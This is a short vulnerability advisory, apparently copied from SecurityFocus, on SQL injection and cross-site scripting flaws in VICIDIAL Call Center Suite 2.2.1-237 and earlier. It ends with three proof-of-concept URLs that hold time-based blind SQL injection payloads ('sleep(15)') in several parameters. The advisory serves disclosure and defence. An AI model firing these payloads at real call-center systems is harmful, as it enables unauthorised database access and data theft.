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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/55476/info

VICIDIAL Call Center Suite is prone to multiple SQL-injection vulnerabilities and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

VICIDIAL Call Center Suite 2.2.1-237 and prior are vulnerable. 

http://www.example.com/AST_agent_time_sheet.php?agent=some-agent' and sleep(15)='&calls_summary=1&query_date=2012-09-07

http://www.example.com/AST_timeonVDADall.php?adastats=1&DB=0&groups[]=1345' and sleep(15)='&RR=4

http://www.example.com/vicidial_demo/user_stats.php?user=2000' and sleep(10)='